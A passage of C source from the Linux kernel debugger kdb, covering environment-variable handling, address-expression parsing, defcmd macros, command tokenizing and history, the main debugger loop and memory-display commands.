argv[2]);
return 0;
}
kdb_flags = (kdb_flags &
~(KDB_DEBUG_FLAG_MASK << KDB_DEBUG_FLAG_SHIFT))
| (debugflags << KDB_DEBUG_FLAG_SHIFT);
return 0;
}
/*
* Tokenizer squashed the '=' sign. argv[1] is variable
* name, argv[2] = value.
*/
varlen = strlen(argv[1]);
vallen = strlen(argv[2]);
ep = kdballocenv(varlen + vallen + 2);
if (ep == (char *)0)
return KDB_ENVBUFFULL;
sprintf(ep, "%s=%s", argv[1], argv[2]);
ep[varlen+vallen+1] = '\0';
for (i = 0; i < __nenv; i++) {
if (__env[i]
&& ((strncmp(__env[i], argv[1], varlen) == 0)
&& ((__env[i][varlen] == '\0')
|| (__env[i][varlen] == '=')))) {
__env[i] = ep;
return 0;
}
}
/*
* Wasn't existing variable. Fit into slot.
*/
for (i = 0; i < __nenv-1; i++) {
if (__env[i] == (char *)0) {
__env[i] = ep;
return 0;
}
}
return KDB_ENVFULL;
}
static int kdb_check_regs(void)
{
if (!kdb_current_regs) {
kdb_printf("No current kdb registers."
" You may need to select another task\n");
return KDB_BADREG;
}
return 0;
}
/*
* kdbgetaddrarg - This function is responsible for parsing an
* address-expression and returning the value of the expression,
* symbol name, and offset to the caller.
*
* The argument may consist of a numeric value (decimal or
* hexidecimal), a symbol name, a register name (preceded by the
* percent sign), an environment variable with a numeric value
* (preceded by a dollar sign) or a simple arithmetic expression
* consisting of a symbol name, +/-, and a numeric constant value
* (offset).
* Parameters:
* argc - count of arguments in argv
* argv - argument vector
* *nextarg - index to next unparsed argument in argv[]
* regs - Register state at time of KDB entry
* Outputs:
* *value - receives the value of the address-expression
* *offset - receives the offset specified, if any
* *name - receives the symbol name, if any
* *nextarg - index to next unparsed argument in argv[]
* Returns:
* zero is returned on success, a kdb diagnostic code is
* returned on error.
*/
int kdbgetaddrarg(int argc, const char **argv, int *nextarg,
unsigned long *value, long *offset,
char **name)
{
unsigned long addr;
unsigned long off = 0;
int positive;
int diag;
int found = 0;
char *symname;
char symbol = '\0';
char *cp;
kdb_symtab_t symtab;
/*
* Process arguments which follow the following syntax:
*
* symbol | numeric-address [+/- numeric-offset]
* %register
* $environment-variable
*/
if (*nextarg > argc)
return KDB_ARGCOUNT;
symname = (char *)argv[*nextarg];
/*
* If there is no whitespace between the symbol
* or address and the '+' or '-' symbols, we
* remember the character and replace it with a
* null so the symbol/value can be properly parsed
*/
cp = strpbrk(symname, "+-");
if (cp != NULL) {
symbol = *cp;
*cp++ = '\0';
}
if (symname[0] == '$') {
diag = kdbgetulenv(&symname[1], &addr);
if (diag)
return diag;
} else if (symname[0] == '%') {
diag = kdb_check_regs();
if (diag)
return diag;
/* Implement register values with % at a later time as it is
* arch optional.
*/
return KDB_NOTIMP;
} else {
found = kdbgetsymval(symname, &symtab);
if (found) {
addr = symtab.sym_start;
} else {
diag = kdbgetularg(argv[*nextarg], &addr);
if (diag)
return diag;
}
}
if (!found)
found = kdbnearsym(addr, &symtab);
(*nextarg)++;
if (name)
*name = symname;
if (value)
*value = addr;
if (offset && name && *name)
*offset = addr - symtab.sym_start;
if ((*nextarg > argc)
&& (symbol == '\0'))
return 0;
/*
* check for +/- and offset
*/
if (symbol == '\0') {
if ((argv[*nextarg][0] != '+')
&& (argv[*nextarg][0] != '-')) {
/*
* Not our argument. Return.
*/
return 0;
} else {
positive = (argv[*nextarg][0] == '+');
(*nextarg)++;
}
} else
positive = (symbol == '+');
/*
* Now there must be an offset!
*/
if ((*nextarg > argc)
&& (symbol == '\0')) {
return KDB_INVADDRFMT;
}
if (!symbol) {
cp = (char *)argv[*nextarg];
(*nextarg)++;
}
diag = kdbgetularg(cp, &off);
if (diag)
return diag;
if (!positive)
off = -off;
if (offset)
*offset += off;
if (value)
*value += off;
return 0;
}
static void kdb_cmderror(int diag)
{
int i;
if (diag >= 0) {
kdb_printf("no error detected (diagnostic is %d)\n", diag);
return;
}
for (i = 0; i < __nkdb_err; i++) {
if (kdbmsgs[i].km_diag == diag) {
kdb_printf("diag: %d: %s\n", diag, kdbmsgs[i].km_msg);
return;
}
}
kdb_printf("Unknown diag %d\n", -diag);
}
/*
* kdb_defcmd, kdb_defcmd2 - This function implements the 'defcmd'
* command which defines one command as a set of other commands,
* terminated by endefcmd. kdb_defcmd processes the initial
* 'defcmd' command, kdb_defcmd2 is invoked from kdb_parse for
* the following commands until 'endefcmd'.
* Inputs:
* argc argument count
* argv argument vector
* Returns:
* zero for success, a kdb diagnostic if error
*/
struct defcmd_set {
int count;
int usable;
char *name;
char *usage;
char *help;
char **command;
};
static struct defcmd_set *defcmd_set;
static int defcmd_set_count;
static int defcmd_in_progress;
/* Forward references */
static int kdb_exec_defcmd(int argc, const char **argv);
static int kdb_defcmd2(const char *cmdstr, const char *argv0)
{
struct defcmd_set *s = defcmd_set + defcmd_set_count - 1;
char **save_command = s->command;
if (strcmp(argv0, "endefcmd") == 0) {
defcmd_in_progress = 0;
if (!s->count)
s->usable = 0;
if (s->usable)
kdb_register(s->name, kdb_exec_defcmd,
s->usage, s->help, 0);
return 0;
}
if (!s->usable)
return KDB_NOTIMP;
s->command = kzalloc((s->count + 1) * sizeof(*(s->command)), GFP_KDB);
if (!s->command) {
kdb_printf("Could not allocate new kdb_defcmd table for %s\n",
cmdstr);
s->usable = 0;
return KDB_NOTIMP;
}
memcpy(s->command, save_command, s->count * sizeof(*(s->command)));
s->command[s->count++] = kdb_strdup(cmdstr, GFP_KDB);
kfree(save_command);
return 0;
}
static int kdb_defcmd(int argc, const char **argv)
{
struct defcmd_set *save_defcmd_set = defcmd_set, *s;
if (defcmd_in_progress) {
kdb_printf("kdb: nested defcmd detected, assuming missing "
"endefcmd\n");
kdb_defcmd2("endefcmd", "endefcmd");
}
if (argc == 0) {
int i;
for (s = defcmd_set; s < defcmd_set + defcmd_set_count; ++s) {
kdb_printf("defcmd %s \"%s\" \"%s\"\n", s->name,
s->usage, s->help);
for (i = 0; i < s->count; ++i)
kdb_printf("%s", s->command[i]);
kdb_printf("endefcmd\n");
}
return 0;
}
if (argc != 3)
return KDB_ARGCOUNT;
if (in_dbg_master()) {
kdb_printf("Command only available during kdb_init()\n");
return KDB_NOTIMP;
}
defcmd_set = kmalloc((defcmd_set_count + 1) * sizeof(*defcmd_set),
GFP_KDB);
if (!defcmd_set)
goto fail_defcmd;
memcpy(defcmd_set, save_defcmd_set,
defcmd_set_count * sizeof(*defcmd_set));
s = defcmd_set + defcmd_set_count;
memset(s, 0, sizeof(*s));
s->usable = 1;
s->name = kdb_strdup(argv[1], GFP_KDB);
if (!s->name)
goto fail_name;
s->usage = kdb_strdup(argv[2], GFP_KDB);
if (!s->usage)
goto fail_usage;
s->help = kdb_strdup(argv[3], GFP_KDB);
if (!s->help)
goto fail_help;
if (s->usage[0] == '"') {
strcpy(s->usage, argv[2]+1);
s->usage[strlen(s->usage)-1] = '\0';
}
if (s->help[0] == '"') {
strcpy(s->help, argv[3]+1);
s->help[strlen(s->help)-1] = '\0';
}
++defcmd_set_count;
defcmd_in_progress = 1;
kfree(save_defcmd_set);
return 0;
fail_help:
kfree(s->usage);
fail_usage:
kfree(s->name);
fail_name:
kfree(defcmd_set);
fail_defcmd:
kdb_printf("Could not allocate new defcmd_set entry for %s\n", argv[1]);
defcmd_set = save_defcmd_set;
return KDB_NOTIMP;
}
/*
* kdb_exec_defcmd - Execute the set of commands associated with this
* defcmd name.
* Inputs:
* argc argument count
* argv argument vector
* Returns:
* zero for success, a kdb diagnostic if error
*/
static int kdb_exec_defcmd(int argc, const char **argv)
{
int i, ret;
struct defcmd_set *s;
if (argc != 0)
return KDB_ARGCOUNT;
for (s = defcmd_set, i = 0; i < defcmd_set_count; ++i, ++s) {
if (strcmp(s->name, argv[0]) == 0)
break;
}
if (i == defcmd_set_count) {
kdb_printf("kdb_exec_defcmd: could not find commands for %s\n",
argv[0]);
return KDB_NOTIMP;
}
for (i = 0; i < s->count; ++i) {
/* Recursive use of kdb_parse, do not use argv after
* this point */
argv = NULL;
kdb_printf("[%s]kdb> %s\n", s->name, s->command[i]);
ret = kdb_parse(s->command[i]);
if (ret)
return ret;
}
return 0;
}
/* Command history */
#define KDB_CMD_HISTORY_COUNT 32
#define CMD_BUFLEN 200 /* kdb_printf: max printline
* size == 256 */
static unsigned int cmd_head, cmd_tail;
static unsigned int cmdptr;
static char cmd_hist[KDB_CMD_HISTORY_COUNT][CMD_BUFLEN];
static char cmd_cur[CMD_BUFLEN];
/*
* The "str" argument may point to something like | grep xyz
*/
static void parse_grep(const char *str)
{
int len;
char *cp = (char *)str, *cp2;
/* sanity check: we should have been called with the \ first */
if (*cp != '|')
return;
cp++;
while (isspace(*cp))
cp++;
if (strncmp(cp, "grep ", 5)) {
kdb_printf("invalid 'pipe', see grephelp\n");
return;
}
cp += 5;
while (isspace(*cp))
cp++;
cp2 = strchr(cp, '\n');
if (cp2)
*cp2 = '\0'; /* remove the trailing newline */
len = strlen(cp);
if (len == 0) {
kdb_printf("invalid 'pipe', see grephelp\n");
return;
}
/* now cp points to a nonzero length search string */
if (*cp == '"') {
/* allow it be "x y z" by removing the "'s - there must
be two of them */
cp++;
cp2 = strchr(cp, '"');
if (!cp2) {
kdb_printf("invalid quoted string, see grephelp\n");
return;
}
*cp2 = '\0'; /* end the string where the 2nd " was */
}
kdb_grep_leading = 0;
if (*cp == '^') {
kdb_grep_leading = 1;
cp++;
}
len = strlen(cp);
kdb_grep_trailing = 0;
if (*(cp+len-1) == '$') {
kdb_grep_trailing = 1;
*(cp+len-1) = '\0';
}
len = strlen(cp);
if (!len)
return;
if (len >= GREP_LEN) {
kdb_printf("search string too long\n");
return;
}
strcpy(kdb_grep_string, cp);
kdb_grepping_flag++;
return;
}
/*
* kdb_parse - Parse the command line, search the command table for a
* matching command and invoke the command function. This
* function may be called recursively, if it is, the second call
* will overwrite argv and cbuf. It is the caller's
* responsibility to save their argv if they recursively call
* kdb_parse().
* Parameters:
* cmdstr The input command line to be parsed.
* regs The registers at the time kdb was entered.
* Returns:
* Zero for success, a kdb diagnostic if failure.
* Remarks:
* Limited to 20 tokens.
*
* Real rudimentary tokenization. Basically only whitespace
* is considered a token delimeter (but special consideration
* is taken of the '=' sign as used by the 'set' command).
*
* The algorithm used to tokenize the input string relies on
* there being at least one whitespace (or otherwise useless)
* character between tokens as the character immediately following
* the token is altered in-place to a null-byte to terminate the
* token string.
*/
#define MAXARGC 20
int kdb_parse(const char *cmdstr)
{
static char *argv[MAXARGC];
static int argc;
static char cbuf[CMD_BUFLEN+2];
char *cp;
char *cpp, quoted;
kdbtab_t *tp;
int i, escaped, ignore_errors = 0, check_grep;
/*
* First tokenize the command string.
*/
cp = (char *)cmdstr;
kdb_grepping_flag = check_grep = 0;
if (KDB_FLAG(CMD_INTERRUPT)) {
/* Previous command was interrupted, newline must not
* repeat the command */
KDB_FLAG_CLEAR(CMD_INTERRUPT);
KDB_STATE_SET(PAGER);
argc = 0; /* no repeat */
}
if (*cp != '\n' && *cp != '\0') {
argc = 0;
cpp = cbuf;
while (*cp) {
/* skip whitespace */
while (isspace(*cp))
cp++;
if ((*cp == '\0') || (*cp == '\n') ||
(*cp == '#' && !defcmd_in_progress))
break;
/* special case: check for | grep pattern */
if (*cp == '|') {
check_grep++;
break;
}
if (cpp >= cbuf + CMD_BUFLEN) {
kdb_printf("kdb_parse: command buffer "
"overflow, command ignored\n%s\n",
cmdstr);
return KDB_NOTFOUND;
}
if (argc >= MAXARGC - 1) {
kdb_printf("kdb_parse: too many arguments, "
"command ignored\n%s\n", cmdstr);
return KDB_NOTFOUND;
}
argv[argc++] = cpp;
escaped = 0;
quoted = '\0';
/* Copy to next unquoted and unescaped
* whitespace or '=' */
while (*cp && *cp != '\n' &&
(escaped || quoted || !isspace(*cp))) {
if (cpp >= cbuf + CMD_BUFLEN)
break;
if (escaped) {
escaped = 0;
*cpp++ = *cp++;
continue;
}
if (*cp == '\\') {
escaped = 1;
++cp;
continue;
}
if (*cp == quoted)
quoted = '\0';
else if (*cp == '\'' || *cp == '"')
quoted = *cp;
*cpp = *cp++;
if (*cpp == '=' && !quoted)
break;
++cpp;
}
*cpp++ = '\0'; /* Squash a ws or '=' character */
}
}
if (!argc)
return 0;
if (check_grep)
parse_grep(cp);
if (defcmd_in_progress) {
int result = kdb_defcmd2(cmdstr, argv[0]);
if (!defcmd_in_progress) {
argc = 0; /* avoid repeat on endefcmd */
*(argv[0]) = '\0';
}
return result;
}
if (argv[0][0] == '-' && argv[0][1] &&
(argv[0][1] < '0' || argv[0][1] > '9')) {
ignore_errors = 1;
++argv[0];
}
for_each_kdbcmd(tp, i) {
if (tp->cmd_name) {
/*
* If this command is allowed to be abbreviated,
* check to see if this is it.
*/
if (tp->cmd_minlen
&& (strlen(argv[0]) <= tp->cmd_minlen)) {
if (strncmp(argv[0],
tp->cmd_name,
tp->cmd_minlen) == 0) {
break;
}
}
if (strcmp(argv[0], tp->cmd_name) == 0)
break;
}
}
/*
* If we don't find a command by this name, see if the first
* few characters of this match any of the known commands.
* e.g., md1c20 should match md.
*/
if (i == kdb_max_commands) {
for_each_kdbcmd(tp, i) {
if (tp->cmd_name) {
if (strncmp(argv[0],
tp->cmd_name,
strlen(tp->cmd_name)) == 0) {
break;
}
}
}
}
if (i < kdb_max_commands) {
int result;
KDB_STATE_SET(CMD);
result = (*tp->cmd_func)(argc-1, (const char **)argv);
if (result && ignore_errors && result > KDB_CMD_GO)
result = 0;
KDB_STATE_CLEAR(CMD);
switch (tp->cmd_repeat) {
case KDB_REPEAT_NONE:
argc = 0;
if (argv[0])
*(argv[0]) = '\0';
break;
case KDB_REPEAT_NO_ARGS:
argc = 1;
if (argv[1])
*(argv[1]) = '\0';
break;
case KDB_REPEAT_WITH_ARGS:
break;
}
return result;
}
/*
* If the input with which we were presented does not
* map to an existing command, attempt to parse it as an
* address argument and display the result. Useful for
* obtaining the address of a variable, or the nearest symbol
* to an address contained in a register.
*/
{
unsigned long value;
char *name = NULL;
long offset;
int nextarg = 0;
if (kdbgetaddrarg(0, (const char **)argv, &nextarg,
&value, &offset, &name)) {
return KDB_NOTFOUND;
}
kdb_printf("%s = ", argv[0]);
kdb_symbol_print(value, NULL, KDB_SP_DEFAULT);
kdb_printf("\n");
return 0;
}
}
static int handle_ctrl_cmd(char *cmd)
{
#define CTRL_P 16
#define CTRL_N 14
/* initial situation */
if (cmd_head == cmd_tail)
return 0;
switch (*cmd) {
case CTRL_P:
if (cmdptr != cmd_tail)
cmdptr = (cmdptr-1) % KDB_CMD_HISTORY_COUNT;
strncpy(cmd_cur, cmd_hist[cmdptr], CMD_BUFLEN);
return 1;
case CTRL_N:
if (cmdptr != cmd_head)
cmdptr = (cmdptr+1) % KDB_CMD_HISTORY_COUNT;
strncpy(cmd_cur, cmd_hist[cmdptr], CMD_BUFLEN);
return 1;
}
return 0;
}
/*
* kdb_reboot - This function implements the 'reboot' command. Reboot
* the system immediately, or loop for ever on failure.
*/
static int kdb_reboot(int argc, const char **argv)
{
emergency_restart();
kdb_printf("Hmm, kdb_reboot did not reboot, spinning here\n");
while (1)
cpu_relax();
/* NOTREACHED */
return 0;
}
static void kdb_dumpregs(struct pt_regs *regs)
{
int old_lvl = console_loglevel;
console_loglevel = CONSOLE_LOGLEVEL_MOTORMOUTH;
kdb_trap_printk++;
show_regs(regs);
kdb_trap_printk--;
kdb_printf("\n");
console_loglevel = old_lvl;
}
void kdb_set_current_task(struct task_struct *p)
{
kdb_current_task = p;
if (kdb_task_has_cpu(p)) {
kdb_current_regs = KDB_TSKREGS(kdb_process_cpu(p));
return;
}
kdb_current_regs = NULL;
}
/*
* kdb_local - The main code for kdb. This routine is invoked on a
* specific processor, it is not global. The main kdb() routine
* ensures that only one processor at a time is in this routine.
* This code is called with the real reason code on the first
* entry to a kdb session, thereafter it is called with reason
* SWITCH, even if the user goes back to the original cpu.
* Inputs:
* reason The reason KDB was invoked
* error The hardware-defined error code
* regs The exception frame at time of fault/breakpoint.
* db_result Result code from the break or debug point.
* Returns:
* 0 KDB was invoked for an event which it wasn't responsible
* 1 KDB handled the event for which it was invoked.
* KDB_CMD_GO User typed 'go'.
* KDB_CMD_CPU User switched to another cpu.
* KDB_CMD_SS Single step.
*/
static int kdb_local(kdb_reason_t reason, int error, struct pt_regs *regs,
kdb_dbtrap_t db_result)
{
char *cmdbuf;
int diag;
struct task_struct *kdb_current =
kdb_curr_task(raw_smp_processor_id());
#ifdef CONFIG_SCHED_DEBUG
get_cpu_var(kdb_in_use) = 1;
put_cpu_var(kdb_in_use);
#endif
KDB_DEBUG_STATE("kdb_local 1", reason);
kdb_go_count = 0;
if (reason == KDB_REASON_DEBUG) {
/* special case below */
} else {
kdb_printf("\nEntering kdb (current=0x%p, pid %d) ",
kdb_current, kdb_current ? kdb_current->pid : 0);
#if defined(CONFIG_SMP)
kdb_printf("on processor %d ", raw_smp_processor_id());
#endif
}
switch (reason) {
case KDB_REASON_DEBUG:
{
/*
* If re-entering kdb after a single step
* command, don't print the message.
*/
switch (db_result) {
case KDB_DB_BPT:
kdb_printf("\nEntering kdb (0x%p, pid %d) ",
kdb_current, kdb_current->pid);
#if defined(CONFIG_SMP)
kdb_printf("on processor %d ", raw_smp_processor_id());
#endif
kdb_printf("due to Debug @ " kdb_machreg_fmt "\n",
instruction_pointer(regs));
break;
case KDB_DB_SS:
break;
case KDB_DB_SSBPT:
KDB_DEBUG_STATE("kdb_local 4", reason);
return 1; /* kdba_db_trap did the work */
default:
kdb_printf("kdb: Bad result from kdba_db_trap: %d\n",
db_result);
break;
}
}
break;
case KDB_REASON_ENTER:
if (KDB_STATE(KEYBOARD))
kdb_printf("due to Keyboard Entry\n");
else
kdb_printf("due to KDB_ENTER()\n");
break;
case KDB_REASON_KEYBOARD:
KDB_STATE_SET(KEYBOARD);
kdb_printf("due to Keyboard Entry\n");
break;
case KDB_REASON_ENTER_SLAVE:
/* drop through, slaves only get released via cpu switch */
case KDB_REASON_SWITCH:
kdb_printf("due to cpu switch\n");
break;
case KDB_REASON_OOPS:
kdb_printf("Oops: %s\n", kdb_diemsg);
kdb_printf("due to oops @ " kdb_machreg_fmt "\n",
instruction_pointer(regs));
kdb_dumpregs(regs);
break;
case KDB_REASON_SYSTEM_NMI:
kdb_printf("due to System NonMaskable Interrupt\n");
break;
case KDB_REASON_NMI:
kdb_printf("due to NonMaskable Interrupt @ "
kdb_machreg_fmt "\n",
instruction_pointer(regs));
kdb_dumpregs(regs);
break;
case KDB_REASON_SSTEP:
case KDB_REASON_BREAK:
kdb_printf("due to %s @ " kdb_machreg_fmt "\n",
reason == KDB_REASON_BREAK ?
"Breakpoint" : "SS trap", instruction_pointer(regs));
/*
* Determine if this breakpoint is one that we
* are interested in.
*/
if (db_result != KDB_DB_BPT) {
kdb_printf("kdb: error return from kdba_bp_trap: %d\n",
db_result);
KDB_DEBUG_STATE("kdb_local 6", reason);
return 0; /* Not for us, dismiss it */
}
break;
case KDB_REASON_RECURSE:
kdb_printf("due to Recursion @ " kdb_machreg_fmt "\n",
instruction_pointer(regs));
break;
default:
kdb_printf("kdb: unexpected reason code: %d\n", reason);
KDB_DEBUG_STATE("kdb_local 8", reason);
return 0; /* Not for us, dismiss it */
}
while (1) {
/*
* Initialize pager context.
*/
kdb_nextline = 1;
KDB_STATE_CLEAR(SUPPRESS);
cmdbuf = cmd_cur;
*cmdbuf = '\0';
*(cmd_hist[cmd_head]) = '\0';
do_full_getstr:
#if defined(CONFIG_SMP)
snprintf(kdb_prompt_str, CMD_BUFLEN, kdbgetenv("PROMPT"),
raw_smp_processor_id());
#else
snprintf(kdb_prompt_str, CMD_BUFLEN, kdbgetenv("PROMPT"));
#endif
if (defcmd_in_progress)
strncat(kdb_prompt_str, "[defcmd]", CMD_BUFLEN);
/*
* Fetch command from keyboard
*/
cmdbuf = kdb_getstr(cmdbuf, CMD_BUFLEN, kdb_prompt_str);
if (*cmdbuf != '\n') {
if (*cmdbuf < 32) {
if (cmdptr == cmd_head) {
strncpy(cmd_hist[cmd_head], cmd_cur,
CMD_BUFLEN);
*(cmd_hist[cmd_head] +
strlen(cmd_hist[cmd_head])-1) = '\0';
}
if (!handle_ctrl_cmd(cmdbuf))
*(cmd_cur+strlen(cmd_cur)-1) = '\0';
cmdbuf = cmd_cur;
goto do_full_getstr;
} else {
strncpy(cmd_hist[cmd_head], cmd_cur,
CMD_BUFLEN);
}
cmd_head = (cmd_head+1) % KDB_CMD_HISTORY_COUNT;
if (cmd_head == cmd_tail)
cmd_tail = (cmd_tail+1) % KDB_CMD_HISTORY_COUNT;
}
cmdptr = cmd_head;
diag = kdb_parse(cmdbuf);
if (diag == KDB_NOTFOUND) {
kdb_printf("Unknown kdb command: '%s'\n", cmdbuf);
diag = 0;
}
if (diag == KDB_CMD_GO
|| diag == KDB_CMD_CPU
|| diag == KDB_CMD_SS
|| diag == KDB_CMD_KGDB)
break;
if (diag)
kdb_cmderror(diag);
}
KDB_DEBUG_STATE("kdb_local 9", diag);
#ifdef CONFIG_SCHED_DEBUG
get_cpu_var(kdb_in_use) = 0;
put_cpu_var(kdb_in_use);
#endif
return diag;
}
/*
* kdb_print_state - Print the state data for the current processor
* for debugging.
* Inputs:
* text Identifies the debug point
* value Any integer value to be printed, e.g. reason code.
*/
void kdb_print_state(const char *text, int value)
{
kdb_printf("state: %s cpu %d value %d initial %d state %x\n",
text, raw_smp_processor_id(), value, kdb_initial_cpu,
kdb_state);
}
/*
* kdb_main_loop - After initial setup and assignment of the
* controlling cpu, all cpus are in this loop. One cpu is in
* control and will issue the kdb prompt, the others will spin
* until 'go' or cpu switch.
*
* To get a consistent view of the kernel stacks for all
* processes, this routine is invoked from the main kdb code via
* an architecture specific routine. kdba_main_loop is
* responsible for making the kernel stacks consistent for all
* processes, there should be no difference between a blocked
* process and a running process as far as kdb is concerned.
* Inputs:
* reason The reason KDB was invoked
* error The hardware-defined error code
* reason2 kdb's current reason code.
* Initially error but can change
* according to kdb state.
* db_result Result code from break or debug point.
* regs The exception frame at time of fault/breakpoint.
* should always be valid.
* Returns:
* 0 KDB was invoked for an event which it wasn't responsible
* 1 KDB handled the event for which it was invoked.
*/
int kdb_main_loop(kdb_reason_t reason, kdb_reason_t reason2, int error,
kdb_dbtrap_t db_result, struct pt_regs *regs)
{
int result = 1;
/* Stay in kdb() until 'go', 'ss[b]' or an error */
while (1) {
/*
* All processors except the one that is in control
* will spin here.
*/
KDB_DEBUG_STATE("kdb_main_loop 1", reason);
while (KDB_STATE(HOLD_CPU)) {
/* state KDB is turned off by kdb_cpu to see if the
* other cpus are still live, each cpu in this loop
* turns it back on.
*/
if (!KDB_STATE(KDB))
KDB_STATE_SET(KDB);
}
KDB_STATE_CLEAR(SUPPRESS);
KDB_DEBUG_STATE("kdb_main_loop 2", reason);
if (KDB_STATE(LEAVING))
break; /* Another cpu said 'go' */
/* Still using kdb, this processor is in control */
result = kdb_local(reason2, error, regs, db_result);
KDB_DEBUG_STATE("kdb_main_loop 3", result);
if (result == KDB_CMD_CPU)
break;
if (result == KDB_CMD_SS) {
KDB_STATE_SET(DOING_SS);
break;
}
if (result == KDB_CMD_KGDB) {
if (!KDB_STATE(DOING_KGDB))
kdb_printf("Entering please attach debugger "
"or use $D#44+ or $3#33\n");
break;
}
if (result && result != 1 && result != KDB_CMD_GO)
kdb_printf("\nUnexpected kdb_local return code %d\n",
result);
KDB_DEBUG_STATE("kdb_main_loop 4", reason);
break;
}
if (KDB_STATE(DOING_SS))
KDB_STATE_CLEAR(SSBPT);
/* Clean up any keyboard devices before leaving */
kdb_kbd_cleanup_state();
return result;
}
/*
* kdb_mdr - This function implements the guts of the 'mdr', memory
* read command.
* mdr <addr arg>,<byte count>
* Inputs:
* addr Start address
* count Number of bytes
* Returns:
* Always 0. Any errors are detected and printed by kdb_getarea.
*/
static int kdb_mdr(unsigned long addr, unsigned int count)
{
unsigned char c;
while (count--) {
if (kdb_getarea(c, addr))
return 0;
kdb_printf("%02x", c);
addr++;
}
kdb_printf("\n");
return 0;
}
/*
* kdb_md - This function implements the 'md', 'md1', 'md2', 'md4',
* 'md8' 'mdr' and 'mds' commands.
*
* md|mds [<addr arg> [<line count> [<radix>]]]
* mdWcN [<addr arg> [<line count> [<radix>]]]
* where W = is the width (1, 2, 4 or 8) and N is the count.
* for eg., md1c20 reads 20 bytes, 1 at a time.
* mdr <addr arg>,<byte count>
*/
static void kdb_md_line(const char *fmtstr, unsigned long addr,
int symbolic, int nosect, int bytesperword,
int num, int repeat, int phys)
{
/* print just one line of data */
kdb_symtab_t symtab;
char cbuf[32];
char *c = cbuf;
int i;
unsigned long word;
memset(cbuf, '\0', sizeof(cbuf));
if (phys)
kdb_printf("phys " kdb_machreg_fmt0 " ", addr);
else
kdb_printf(kdb_machreg_fmt0 " ", addr);
for (i = 0; i < num && repeat--; i++) {
if (phys) {
if (kdb_getphysword(&word, addr, bytesperword))
break;
} else if (kdb_getword(&word, addr, bytesperword))
break;
kdb_printf(fmtstr, word);
if (symbolic)
kdbnearsym(word, &symtab);
else
memset(&symtab, 0, sizeof(symtab));
if (symtab.sym_name) {
kdb_symbol_print(word, &symtab, 0);
if (!nosect) {
kdb_printf("\n");
kdb_printf(" %s %s "
kdb_machreg_fmt " "
kdb_machreg_fmt " "
kdb_machreg_fmt, symtab.mod_name,
symtab.sec_name, symtab.sec_start,
symtab.sym_start, symtab.sym_end);
}
addr += bytesperword;
} else {
union {
u64 word;
unsigned char c[8];
} wc;
unsigned char *cp;
#ifdef __BIG_ENDIAN
cp = wc.c + 8 - bytesperword;
#else
cp = wc.c;
#endif
wc.word = word;
#define printable_char(c) \
({unsigned char __c = c; isascii(__c) && isprint(__c) ? __c : '.'; })
switch (bytesperword) {
case 8:
*c++ = printable_char(*cp++);
*c++ = printable_char(*cp++);
*c++ = printable_char(*cp++);
*c++ = printable_char(*cp++);
addr += 4;
case 4:
*c++ = printable_char(*cp++);
*c++ = printable_char(*cp++);
addr += 2;
case 2:
*c++ = printable_char(*cp++);
addr++;
case 1:
*c++ = printable_char(*cp++);
addr++;
break;
}
#undef printable_char
}
}
kdb_printf("%*s %s\n", (int)((num-i)*(2*bytesperword + 1)+1),
" ", cbuf);
}
static int kdb_md(int argc, const char **argv)
{
static unsigned long last_addr;
static int last_radix, last_bytesperword, last_repeat;
int radix = 16, mdcount = 8, bytesperword = KDB_WORD_SIZE, repeat;
int nosect = 0;
char fmtchar, fmtstr[64];
unsigned long addr;
unsigned long word;
long offset = 0;
int symbolic = 0;
int valid = 0;
int phys = 0;
kdbgetintenv("MDCOUNT", &mdcount);
kdbgetintenv("RADIX", &radix);
kdbgetintenv("BYTESPERWORD", &bytesperword);
/* Assume 'md <addr>' and start with environment values */
repeat = mdcount * 16 / bytesperword;
if (strcmp(argv[0], "mdr") == 0) {
if (argc != 2)
return KDB_ARGCOUNT;
valid = 1;
} else if (isdigit(argv[0][2])) {
bytesperword = (int)(argv[0][2] - '0');
if (bytesperword == 0) {
bytesperword = last_bytesperword;
if (bytesperword == 0)
bytesperword = 4;
}
last_bytesperword = bytesperword;
repeat = mdcount * 16 / bytesperword;
if (!argv[0][3])
valid = 1;
else if (argv[0][3] == 'c' && argv[0][4]) {
char *p;
repeat = simple_strtoul(argv[0] + 4, &p, 10);
mdcount = ((repeat * bytesperword) + 15) / 16;
valid = !*p;
}
last_repeat = repeat;
} else if (strcmp(argv[0], "md") == 0)
valid = 1;
else if (strcmp(argv[0], "mds") == 0)
valid = 1;
else if (strcmp(argv[0], "mdp") == 0) {
phys = valid = 1;
}
if (!valid)
return KDB_NOTFOUND;
if (argc == 0) {
if (last_addr == 0)
return KDB_ARGCOUNT;
addr = last_addr;
radix = last_radix;
bytesperword = last_bytesperword;
repeat = last_repeat;
mdcount = ((repeat * bytesperword) + 15) / 16;
}
if (argc) {
unsigned long val;
int diag, nextarg = 1;
diag = kdbgetaddrarg(argc, argv, &nextarg, &addr,
&offset, NULL);
if (diag)
return diag;
if (argc > nextarg+2)
return KDB_ARGCOUNT;
if (argc >= nextarg) {
diag = kdbgetularg(argv[nextarg], &val);
if (!diag) {
mdcount = (int) val;
repeat = mdcount * 16 / bytesperword;
}
}
if (argc >= nextarg+1) {
diag = kdbgetularg(argv[nextarg+1], &val);
if (!diag)
radix = (int) val;
}
}
if (strcmp(argv[0], "mdr") == 0)
return kdb_mdr(addr, mdcount);
switch (radix) {
case 10:
fmtchar = 'd';
break;
case 16:
fmtchar = 'x';
break;
case 8:
fmtchar = 'o';
break;
default:
return KDB_BADRADIX;
}
last_radix = radix;
if (bytesperword > KDB_WORD_SIZE)
return KDB_BADWIDTH;
switch (bytesperword) {
case 8:
sprintf(fmtstr, "%%16.16l%c ", fmtchar);
break;
case 4:
sprintf(fmtstr, "%%8.8l%c ", fmtchar);
break;
case 2:
sprintf(fmtstr, "%%4.4l%c ", fmtchar);
break;
case 1:
sprintf(fmtstr, "%%2.2l%c ", fmtchar);
break;
default:
return KDB_BADWIDTH;
}
last_repeat = repeat;
last_bytesperword = bytesperword;
if (strcmp(argv[0], "mds") == 0) {
symbolic = 1;
/* Do not save these changes as last_*, they are temporary mds
* overrides.
*/
bytesperword = KDB_WORD_SIZE;
repeat = mdcount;
kdbgetintenv("NOSECT", &nosect);
}
/* Round address down modulo BYTESPERWORD */
addr &= ~(bytesperword-1);
while (repeat > 0) {
unsigned long a;
int n, z, num = (symbolic ? 1 : (16 / bytesperword));
if (KDB_FLAG(CMD_INTERRUPT))
return 0;
for (a = addr, z = 0; z < repeat; a += bytesperword, ++z) {
if (phys) {
if (kdb_getphysword(&word, a, bytesperword)
|| word)
break;
} else if (kdb_getword(&word, a, bytesperword) || word)
break;
